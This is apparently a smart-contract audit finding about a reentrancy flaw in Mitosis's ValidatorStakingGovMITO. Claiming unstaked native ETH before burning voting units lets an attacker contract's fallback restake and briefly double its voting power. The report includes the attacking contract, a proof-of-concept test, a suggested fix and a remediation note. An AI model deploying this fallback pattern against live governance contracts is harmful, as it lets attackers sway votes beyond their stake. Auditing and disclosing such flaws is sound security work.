Zellic - Audit Reports

Category: Coding Mistakes

Temporary high vote power when claiming in native token

Informational Impact

Informational Severity

N/A Likelihood

Description

In the ValidatorStakingGovMITO contract, there is a issue that allows users to temporarily gain excessive voting power when claiming unstaked tokens in native token.

The issue stems from the order of operations in the _claimUnstake function. When a user claims their unstaked tokens in native token, the function first transfers the ETH to the user before burning the corresponding voting units:

function _claimUnstake(StorageV1 storage $, address receiver) internal virtual returns (uint256) {
    // ...
    if (_baseAsset == NATIVE_TOKEN) receiver.safeTransferETH(claimed);
    else _baseAsset.safeTransfer(receiver, claimed);

    // apply to state
    _push($.totalUnstaking, now_, claimed.toUint208(), _opSub);
    emit UnstakeClaimed(receiver, claimed, reqIdFrom, reqIdTo);
    return claimed;
}

In the ValidatorStakingGovMITO contract, the _claimUnstake function is overridden to burn voting units after the base implementation is called:

function _claimUnstake(StorageV1 storage $, address receiver) internal override returns (uint256) {
    uint256 claimed = super._claimUnstake($, receiver);

    // burn the voting units
    _moveDelegateVotes(delegates(receiver), address(0), claimed);

    return claimed;
}

This creates an issue because when ETH is transferred to the user via safeTransferETH, it triggers the user's fallback function. A malicious user could implement their fallback function to immediately restake the received ETH before their voting units are burned.

Here is an attack scenario:

User A stakes 200 ETH.
User A requests to unstake 200 ETH.
User A claims 200 ETH.
1. The _claimUnstake function is called.
2. User A receives 200 ETH via safeTransferETH.
3. User A's fallback function executes, staking the 200 ETH again.
4. User A now has 400 ETH voting power (200 from the original stake plus 200 from the new stake).
5. Only then _moveDelegateVotes is called to burn 200 ETH worth of voting power.
User A ends up with 200 ETH voting power again.

This has been verified with a POC test showing a temporary vote power of 400 ETH during the attack.

contract MaliciousContract {

   ValidatorStakingGovMITO public vault;
   address public val;
   constructor(address _vault, address _val) {
      vault = ValidatorStakingGovMITO(_vault);
      val = _val;
   }
   fallback() external payable {
      vault.stake{value: 200 ether}(val, address(this), 200 ether);
      console.log("temp vote", vault.getVotes(address(this)));
   }
}

...

function test_temporaryVoteUsingClaimCall() public {
    test_setDelegationManager();

    manager.setRet(abi.encodeCall(IValidatorManager.isValidator, (val)), false, abi.encode(true));

    address user1 = address(new MaliciousContract(address(vault), val));
    vm.deal(user1, 200 ether);

    vm.prank(user1);
    vault.stake{value: 200 ether}(val, user1, 200 ether);

    vm.prank(user1);
    vault.requestUnstake(val, user1, 200 ether);

    vm.prank(delegationManager);
    vault.sudoDelegate(user1, user1);

    vm.warp(_now() + 1);
    assertEq(vault.getVotes(user1), 200 ether);
    assertEq(vault.getPastTotalSupply(_now() - 1), 0);

    // try to claim

    vm.warp(_now() + UNSTAKING_COOLDOWN - 1);
    uint256 claimed = vault.claimUnstake(user1);
    console.log("final vote", vault.getVotes(user1));
}

Impact

This issue allows users to temporarily increase voting power, which could be exploited in a time-sensitive governance vote to have a larger influence than their actual stake would allow.

Recommendations

Reorder the operations in the _claimUnstake function to first burn the voting units and then transfer the ETH to the user:

function _claimUnstake(StorageV1 storage $, address receiver) internal override returns (uint256) {
    uint256 claimed = super._claimUnstake($, receiver);
    
    // First burn the voting units
    _moveDelegateVotes(delegates(receiver), address(0), claimed);
    
    // Then transfer ETH to the user
    if (_baseAsset == NATIVE_TOKEN) receiver.safeTransferETH(claimed);
    else _baseAsset.safeTransfer(receiver, claimed);
    
    return claimed;
}

Alternatively, implement a reentrancy guard to prevent the exploit.

Remediation

This issue has been acknowledged by Mitosis, and a fix was implemented in commit 0ffd1608↗.